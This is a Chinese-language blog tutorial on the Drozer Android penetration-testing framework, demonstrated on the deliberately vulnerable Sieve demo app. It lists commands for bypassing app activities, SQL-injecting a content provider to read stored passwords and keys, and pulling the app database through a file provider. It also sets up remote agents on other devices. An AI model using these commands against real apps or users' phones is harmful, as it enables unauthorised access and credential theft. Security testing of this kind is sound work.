Drozer的基本使用

之前做APP測試時使用了Drozer,感覺很好用,但是後來一直沒有時間整理。在我逐漸對Drozer加深了熟悉才發現,Drozer不僅僅是一個工具,它更像一個綜合性滲透測試的框架。在單機情況下,測試單個APP漏洞很好用,在滲透中,也可以當做服務器多個代理的形式,對局域網或者互聯網所有的移動端代理進行滲透,對移動端進一步攻擊提權。

一、安裝

安裝這塊,我強烈推薦直接看官網文檔安裝,英文看起來費勁不要緊,可以使用各類翻譯軟件。

因爲在我安裝的過程當中,看了別人的博客,不太詳細,導致遇到了不少坑。官網的文檔最全面、權威,按照介紹至上到下操作一遍,安裝基本就沒啥問題了。

這裏我貼上官網的文檔。

二、啓動

在我們安裝好後,有兩個部分,一個是代理(agent),一個可以理解爲服務。
代理在模擬器或者手機裏,是這樣。
在這裏插入圖片描述
點擊Embedded Server,打開Enabled
在這裏插入圖片描述在這裏插入圖片描述

這樣我們代理就算啓動成功了。

代理的服務端口是31415,所以我們需要將模擬器中的端口進行轉發。

在PC終端輸入:

adb forward tcp:31415 tcp:31415

然後啓動Drozer服務。

drozer console connect

在這裏插入圖片描述
這裏服務端就和代理建立了友好關係,可以說話了。

三、應用測試

這裏我使用官網的demo進行測試,資源我已上傳。

打開sieve,看起來是一個登陸註冊界面。
在這裏插入圖片描述
我們拿到這個app,只知道它的名字叫sieve,但是它的包名叫什麼我們還不知道,這裏我們可以使用app.package.list來列出名字叫sieve的包。

run app.package.list -f sieve

在這裏插入圖片描述

查看更加詳細的信息,使用app.package.info

run app.package.info -a com.mwr.example.sieve

在這裏插入圖片描述
可以看到版本號等詳細信息。

一般情況下,我們可以使用輕度掃描的方式,看看可能會有哪些攻擊面。

run app.package.attacksurface com.mwr.example.sieve

在這裏插入圖片描述
可以看到,3個activities、2個content providers、services結果被導出,尤其注意下,這個APP支持debuggable的,我們可以使用ida進行動態調試。

接下來深入攻擊點。
首先看activity這塊的內容。

run app.activity.info -a com.mwr.example.sieve

在這裏插入圖片描述
我們看出來,所有的這3個界面不需要任何的權限,所以我們可以通過drozer來隨意啓動任意一個界面。

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

這個是註冊成功後,最後跳入的界面,理論上是必須註冊,並且註冊成功後才能看到的界面,但是被我們未授權訪問了。
在這裏插入圖片描述

在看provider的漏洞。

run app.provider.info -a com.mwr.example.sieve

在這裏插入圖片描述
這裏的DBContentProvider和FileBackupProvider剛好對應前面我們掃描的漏洞,可能會有SQL注入和文件遍歷的目錄。

先看SQL注入,我們除了知道訪問數據內容開頭是"content://"之外,其他的都不清楚,所以首先得拿到數據庫的url地址,才能進一步確認是否存在漏洞。

drozer提供了尋找content url地址的功能:

run scanner.provider.finduris -a com.mwr.example.sieve

在這裏插入圖片描述
我們看出來,它讀出了DBContent的內容,那麼有了準確的URL地址,就可以着手測試了。
由於Android使用的是sqllite數據庫,所以存儲用戶數據也是sqllite,我們使用projection預注入來測試。

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

這裏出現了顯錯注入
在這裏插入圖片描述

通過判斷,我們可以知道注入點在這裏,那我們可以構造語句

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

在這裏插入圖片描述
或許我們可以直接把數據庫下載下來。

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /Users/liyang/test/database.db

在這裏插入圖片描述
注意,這裏的database.db是本地的目錄路徑。
當然,還可以使用

run scanner.provider.injection -a com.mwr.example.sieve

自動掃描provider模塊存在的漏洞,這裏發現了Keys、Passwords都可以注入。

attacksurface還提到了有兩個服務漏洞

run app.service.info -a com.mwr.example.sieve

在這裏插入圖片描述
我們看出來這兩個服務都是比較有意思的,一個是認證服務,一個是解析服務。
那麼如果我們把代理放到了受害者手機裏,某個APP有這個漏洞,我們是不是就可以獲取到用戶的賬號和密碼了?

拓展內容

前面提到了Drozer不僅僅適用了APP測試,是一個工具也是一個框架。
原因在於它不僅支持本地,也適用於遠程agent,可以在一個局域網或者互聯網環境下,啓動一個drozer 服務器,然後多個agent在不同的設備裏進行移動端的滲透。同時它也提供了高質量的exploit和payload幫助拿下設備的權限。

這裏我演示下啓動一個server,多個agent的情景。

首先服務端啓動:

drozer server start

agent啓動,進入setting
在這裏插入圖片描述
New Endpoint
在這裏插入圖片描述
填入Host和port,這裏填的是服務端的IP和端口,也就是你接下來啓動drozer server的IP,然後save,再回到主界面,將關閉點成開啓。
在這裏插入圖片描述
然後server這邊,設備就上線了。
在這裏插入圖片描述
接下來,我們列出有哪些exploits可以使用的

drozer exploit list

在這裏插入圖片描述
看出CVE-2010-1807這個可以幫助我們遠程拿到權限,但是隻適用於Android老版本,10年的版本,肯定不適用於現在了,所以就不嘗試了。

但是提一下,後來的drozer代碼好像好久沒更新了,payload應該都是比較久遠的吧。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章